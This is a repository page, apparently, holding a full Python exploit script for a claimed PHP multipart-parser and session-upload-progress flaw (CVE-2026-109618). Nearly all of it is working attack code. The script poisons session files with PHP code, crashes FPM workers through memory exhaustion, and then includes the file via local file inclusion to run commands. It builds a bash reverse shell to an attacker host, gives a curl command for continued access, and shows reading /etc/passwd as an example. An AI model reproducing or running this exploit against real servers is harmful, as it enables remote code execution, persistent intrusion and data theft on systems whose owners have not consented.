Full RCE exploit chain for two critical PHP vulnerabilities in the multipart parser and session upload progress handler, plus three bypass exploits that defeat the official security patch (PHP 8.4.27) and all recommended mitigations. Core exploits: - CVE-2026-109618: OOM in multipart parser → session persistence → LFI → RCE - CVE-2026-109619: Session poisoning via upload progress (direct + race) → RCE - WordPress-targeted wrapper with LFI auto-detection Patch bypass exploits (confirmed RCE on PHP 8.4.27): - Race condition: TOCTOU inherent to upload progress feature design - RLIMIT_AS: mmap() failure bypasses the patched OOM handler - /proc/PID/fd: temp file inclusion bypasses ALL mitigations
427 lines
16 KiB
Python
Executable File
427 lines
16 KiB
Python
Executable File
#!/usr/bin/env python3
|
||
"""
|
||
CVE-2026-109618 — PHP Multipart Parser OOM → Session Poisoning → RCE
|
||
|
||
The PHP multipart parser (rfc1867.c) allocates memory for each form field
|
||
during request parsing. By sending enough fields to exceed memory_limit
|
||
(or RLIMIT_AS), OOM triggers during parsing itself. The resulting
|
||
zend_bailout() longjmps past the MULTIPART_EVENT_END handler, which
|
||
skips session.upload_progress cleanup — even with cleanup=1 (default).
|
||
|
||
The session file — poisoned via PHP_SESSION_UPLOAD_PROGRESS with embedded
|
||
PHP code — persists on disk. A follow-up request to a new FPM worker
|
||
includes this file via an LFI vector, executing our code.
|
||
|
||
Phase 1 ─ Poison + Crash
|
||
Multipart body:
|
||
1. PHP_SESSION_UPLOAD_PROGRESS = <?php PAYLOAD ?>
|
||
2. File upload (triggers progress handler → session flush to disk)
|
||
3. N form fields (OOM during parsing → bailout → cleanup skipped)
|
||
Worker crashes → session file persists with PHP code on disk.
|
||
|
||
Phase 2 ─ Trigger
|
||
FPM master spawns new worker. We include the session file via LFI
|
||
and the embedded PHP code executes.
|
||
|
||
Requirements:
|
||
- PHP-FPM with session.upload_progress.enabled=1 (default)
|
||
- memory_limit reachable via multipart fields (or RLIMIT_AS)
|
||
- An LFI vector in the target (include/require with user input)
|
||
- Known or guessable session.save_path
|
||
|
||
Tested: PHP 8.1–8.4, x86_64 Linux, NTS.
|
||
|
||
Usage:
|
||
python3 exploit.py -t http://target/app.php --cmd 'id'
|
||
python3 exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||
python3 exploit.py -t http://target/app.php --trigger-only
|
||
"""
|
||
|
||
import argparse
|
||
import base64
|
||
import os
|
||
import re
|
||
import socket
|
||
import sys
|
||
import time
|
||
from urllib.parse import urlparse
|
||
|
||
# ─── defaults ────────────────────────────────────────────────────────
|
||
|
||
FIELD_COUNT = 30000
|
||
FIELD_SIZE = 512
|
||
BATCH = 500
|
||
USE_CHUNKED = True
|
||
|
||
SESSION_PATHS = [
|
||
"/tmp",
|
||
"/tmp/php-sessions",
|
||
"/var/lib/php/sessions",
|
||
"/var/lib/php5/sessions",
|
||
"/var/lib/php/sess",
|
||
]
|
||
|
||
# ─── multipart builder ───────────────────────────────────────────────
|
||
|
||
def mp_field(bnd, name, value):
|
||
return (b"--" + bnd + b"\r\n"
|
||
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||
b"\r\n" + value + b"\r\n")
|
||
|
||
def mp_file(bnd, name, fname, content):
|
||
return (b"--" + bnd + b"\r\n"
|
||
b'Content-Disposition: form-data; name="' + name
|
||
+ b'"; filename="' + fname + b'"\r\n'
|
||
b"Content-Type: application/octet-stream\r\n"
|
||
b"\r\n" + content + b"\r\n")
|
||
|
||
def mp_end(bnd):
|
||
return b"--" + bnd + b"--\r\n"
|
||
|
||
# ─── HTTP helpers ────────────────────────────────────────────────────
|
||
|
||
def tcp_connect(host, port, tls, timeout=60):
|
||
sock = socket.create_connection((host, port), timeout=timeout)
|
||
if tls:
|
||
import ssl
|
||
ctx = ssl.create_default_context()
|
||
ctx.check_hostname = False
|
||
ctx.verify_mode = ssl.CERT_NONE
|
||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||
return sock
|
||
|
||
def send_chunk(sock, data):
|
||
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
|
||
|
||
def recv_all(sock, timeout=10):
|
||
resp = b""
|
||
sock.settimeout(timeout)
|
||
try:
|
||
while True:
|
||
d = sock.recv(8192)
|
||
if not d:
|
||
break
|
||
resp += d
|
||
except socket.timeout:
|
||
pass
|
||
return resp
|
||
|
||
def http_get(host, port, tls, path, timeout=10):
|
||
sock = tcp_connect(host, port, tls, timeout)
|
||
sock.sendall(
|
||
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
||
b"Host: " + host.encode() + b"\r\n"
|
||
b"Connection: close\r\n\r\n"
|
||
)
|
||
resp = recv_all(sock, timeout)
|
||
sock.close()
|
||
return resp
|
||
|
||
def status_code(resp):
|
||
try:
|
||
return int(resp.split(b" ")[1])
|
||
except:
|
||
return 0
|
||
|
||
def body_of(resp):
|
||
if b"\r\n\r\n" not in resp:
|
||
return resp
|
||
hdr, raw = resp.split(b"\r\n\r\n", 1)
|
||
if b"transfer-encoding: chunked" in hdr.lower():
|
||
out = b""
|
||
data = raw
|
||
while data:
|
||
nl = data.find(b"\r\n")
|
||
if nl < 0:
|
||
break
|
||
try:
|
||
clen = int(data[:nl].split(b";")[0].strip(), 16)
|
||
except ValueError:
|
||
break
|
||
if clen == 0:
|
||
break
|
||
out += data[nl+2:nl+2+clen]
|
||
data = data[nl+2+clen+2:]
|
||
return out
|
||
return raw
|
||
|
||
# ─── Phase 1: poison session + crash worker ──────────────────────────
|
||
|
||
def phase1(host, port, tls, path, bnd, sid, php_code, fields, fsize,
|
||
chunked=True):
|
||
"""Send multipart: upload progress + file + OOM fields.
|
||
|
||
Returns (http_status_or_0, fields_sent_before_crash).
|
||
|
||
When chunked=False, builds full body with Content-Length. Required
|
||
when nginx has fastcgi_request_buffering off — chunked bodies bypass
|
||
PHP's multipart parser in that configuration.
|
||
"""
|
||
if not chunked:
|
||
return _phase1_contentlength(host, port, tls, path, bnd, sid,
|
||
php_code, fields, fsize)
|
||
|
||
sock = tcp_connect(host, port, tls)
|
||
sock.sendall(
|
||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||
b"Host: " + host.encode() + b"\r\n"
|
||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||
b"Transfer-Encoding: chunked\r\n"
|
||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||
b"Connection: close\r\n\r\n"
|
||
)
|
||
|
||
# 1. PHP_SESSION_UPLOAD_PROGRESS — value becomes session key suffix
|
||
send_chunk(sock, mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
|
||
# 2. File upload — triggers progress handler, session flushed to disk
|
||
send_chunk(sock, mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096))
|
||
# 3. Pressure fields — OOM during parsing before MULTIPART_EVENT_END
|
||
sent = 0
|
||
for start in range(0, fields, BATCH):
|
||
end = min(start + BATCH, fields)
|
||
batch = b""
|
||
for i in range(start, end):
|
||
batch += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
||
try:
|
||
send_chunk(sock, batch)
|
||
sent = end
|
||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||
break
|
||
try:
|
||
send_chunk(sock, mp_end(bnd))
|
||
sock.sendall(b"0\r\n\r\n")
|
||
except:
|
||
pass
|
||
|
||
resp = recv_all(sock, timeout=5)
|
||
sock.close()
|
||
return status_code(resp), sent
|
||
|
||
|
||
def _phase1_contentlength(host, port, tls, path, bnd, sid, php_code,
|
||
fields, fsize):
|
||
"""Content-Length variant — builds the full body then sends it."""
|
||
body = b""
|
||
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
|
||
body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)
|
||
for i in range(fields):
|
||
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
||
body += mp_end(bnd)
|
||
|
||
sock = tcp_connect(host, port, tls)
|
||
sock.sendall(
|
||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||
b"Host: " + host.encode() + b"\r\n"
|
||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||
b"Connection: close\r\n\r\n"
|
||
)
|
||
|
||
try:
|
||
sock.sendall(body)
|
||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||
pass
|
||
|
||
resp = recv_all(sock, timeout=5)
|
||
sock.close()
|
||
return status_code(resp), fields
|
||
|
||
# ─── Phase 2: LFI include of session file ───────────────────────────
|
||
|
||
def phase2(host, port, tls, path, sid, session_paths, lfi_param):
|
||
"""Try including the session file via common paths."""
|
||
for sp in session_paths:
|
||
sess = f"{sp}/sess_{sid}"
|
||
url = f"{path}?{lfi_param}={sess}"
|
||
try:
|
||
resp = http_get(host, port, tls, url, timeout=10)
|
||
rbody = body_of(resp)
|
||
if b"CVE2026:" in rbody or b"upload_progress_" in rbody:
|
||
return resp, sess
|
||
except:
|
||
continue
|
||
return None, None
|
||
|
||
# ─── main ────────────────────────────────────────────────────────────
|
||
|
||
def run(args):
|
||
p = urlparse(args.target)
|
||
tls = p.scheme == "https"
|
||
host = p.hostname or "127.0.0.1"
|
||
port = p.port or (443 if tls else 80)
|
||
path = p.path or "/"
|
||
|
||
sid = args.session_id or os.urandom(16).hex()
|
||
bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode()
|
||
spaths = list(SESSION_PATHS)
|
||
if args.session_path:
|
||
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
||
|
||
# Build PHP payload
|
||
if args.trigger_only:
|
||
php_code = b'<?php echo "CVE2026:TRIGGERED:pid=".getmypid().":".php_uname(); ?>'
|
||
elif args.cmd:
|
||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
||
elif args.lhost and args.lport:
|
||
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||
else:
|
||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only", file=sys.stderr)
|
||
sys.exit(1)
|
||
|
||
print("=" * 65)
|
||
print(" CVE-2026-109618: PHP Multipart OOM → Session Poisoning → RCE")
|
||
print("=" * 65)
|
||
print(f" Target : {args.target}")
|
||
print(f" Session ID : {sid}")
|
||
print(f" LFI param : {args.lfi_param}")
|
||
print(f" Fields : {args.fields} × {args.field_size}B")
|
||
if args.cmd:
|
||
print(f" Command : {args.cmd}")
|
||
elif args.lhost:
|
||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||
print()
|
||
|
||
# ── Phase 0: verify target ──
|
||
print("[*] Phase 0: checking target...")
|
||
try:
|
||
r0 = http_get(host, port, tls, path, timeout=5)
|
||
sc = status_code(r0)
|
||
if sc == 0:
|
||
raise ConnectionError("no response")
|
||
print(f" HTTP {sc} — target alive")
|
||
except Exception as e:
|
||
print(f" [!] Not reachable: {e}")
|
||
sys.exit(1)
|
||
|
||
# ── Phase 1: poison session + crash ──
|
||
print()
|
||
print("[*] Phase 1: session poisoning + OOM crash")
|
||
print(f" Injecting {len(php_code)}B PHP code into session key...")
|
||
|
||
use_chunked = not args.no_chunked
|
||
if not use_chunked:
|
||
print(f" Using Content-Length mode (required for fastcgi_request_buffering off)")
|
||
status, fields_sent = phase1(
|
||
host, port, tls, path, bnd, sid,
|
||
php_code, args.fields, args.field_size,
|
||
chunked=use_chunked,
|
||
)
|
||
|
||
if status == 502 or status == 0:
|
||
print(f" [+] Worker crashed (HTTP {status or 'reset'})")
|
||
print(f" OOM after ~{fields_sent} fields — bailout skipped session cleanup")
|
||
elif status == 500:
|
||
print(f" [+] HTTP 500 — OOM during script (worker survived)")
|
||
else:
|
||
print(f" [!] HTTP {status} — may not have OOMed; try increasing --fields")
|
||
|
||
# Wait for new worker
|
||
print(" Waiting for new worker...")
|
||
time.sleep(1.5)
|
||
for i in range(8):
|
||
try:
|
||
r1 = http_get(host, port, tls, path, timeout=3)
|
||
sc1 = status_code(r1)
|
||
if sc1 in (200, 301, 302, 403, 404):
|
||
print(f" New worker ready (HTTP {sc1})")
|
||
break
|
||
except:
|
||
pass
|
||
time.sleep(1)
|
||
else:
|
||
print(" [!] New worker not available after 8 retries")
|
||
sys.exit(1)
|
||
|
||
# ── Phase 2: LFI trigger ──
|
||
print()
|
||
print("[*] Phase 2: including poisoned session file via LFI...")
|
||
|
||
resp, sess_path = phase2(host, port, tls, path, sid, spaths, args.lfi_param)
|
||
|
||
if resp is None:
|
||
print(" [!] Session file not found at any common path")
|
||
print(f" Try: --session-path /actual/path")
|
||
print(f" File: sess_{sid}")
|
||
sys.exit(1)
|
||
|
||
output = body_of(resp).decode(errors="replace")
|
||
print(f" Session file: {sess_path}")
|
||
|
||
if args.trigger_only:
|
||
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", output)
|
||
if m:
|
||
print()
|
||
print(f"[+] Code execution confirmed!")
|
||
print(f" {m.group(1)}")
|
||
else:
|
||
print(f" [*] Session file exists but code may not have executed")
|
||
print(f" Response: {output[:200]}")
|
||
return
|
||
|
||
if args.cmd:
|
||
m = re.search(r"CVE2026:(.*?):END", output, re.DOTALL)
|
||
if m:
|
||
result = m.group(1).strip()
|
||
else:
|
||
result = output.split("upload_progress_")[0] if "upload_progress_" in output else output[:500]
|
||
result = re.sub(r"\r?\npid=\d+.*", "", result, flags=re.DOTALL).strip()
|
||
result = re.sub(r"\r?\n\d+\s*$", "", result).strip()
|
||
|
||
print()
|
||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||
print(result)
|
||
print("[+] ══════════════════════════════════════════")
|
||
print()
|
||
print("[+] RCE achieved via CVE-2026-109618!")
|
||
print()
|
||
print("[*] For continued access:")
|
||
cmd_b64 = base64.b64encode(b"id").decode()
|
||
print(f" curl '{args.target}?{args.lfi_param}={sess_path}&c={cmd_b64}'")
|
||
else:
|
||
print()
|
||
print(f"[+] Payload delivered — check listener at {args.lhost}:{args.lport}")
|
||
print(f"[*] Session file for re-exploitation: {sess_path}")
|
||
|
||
|
||
def main():
|
||
ap = argparse.ArgumentParser(
|
||
description="CVE-2026-109618: PHP multipart OOM → session poisoning → RCE",
|
||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||
epilog="""
|
||
Examples:
|
||
%(prog)s -t http://target/app.php --cmd 'id'
|
||
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||
%(prog)s -t http://target/app.php --trigger-only
|
||
%(prog)s -t http://target/app.php --cmd 'cat /etc/passwd' \\
|
||
--session-path /var/lib/php/sessions --lfi-param tpl
|
||
""")
|
||
ap.add_argument("-t", "--target", required=True, help="Target URL")
|
||
ap.add_argument("--cmd", help="Command to execute")
|
||
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
||
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
||
ap.add_argument("--trigger-only", action="store_true",
|
||
help="Confirm vuln without RCE payload")
|
||
ap.add_argument("--session-path",
|
||
help="session.save_path on target (default: common paths)")
|
||
ap.add_argument("--session-id",
|
||
help="Force PHPSESSID (default: random hex)")
|
||
ap.add_argument("--lfi-param", default="page",
|
||
help="LFI query parameter (default: page)")
|
||
ap.add_argument("--fields", type=int, default=FIELD_COUNT,
|
||
help=f"Pressure fields for OOM (default: {FIELD_COUNT})")
|
||
ap.add_argument("--field-size", type=int, default=FIELD_SIZE,
|
||
help=f"Bytes per field (default: {FIELD_SIZE})")
|
||
ap.add_argument("--no-chunked", action="store_true",
|
||
help="Use Content-Length instead of chunked encoding "
|
||
"(required when nginx has fastcgi_request_buffering off)")
|
||
args = ap.parse_args()
|
||
run(args)
|
||
|
||
|
||
if __name__ == "__main__":
|
||
main()
|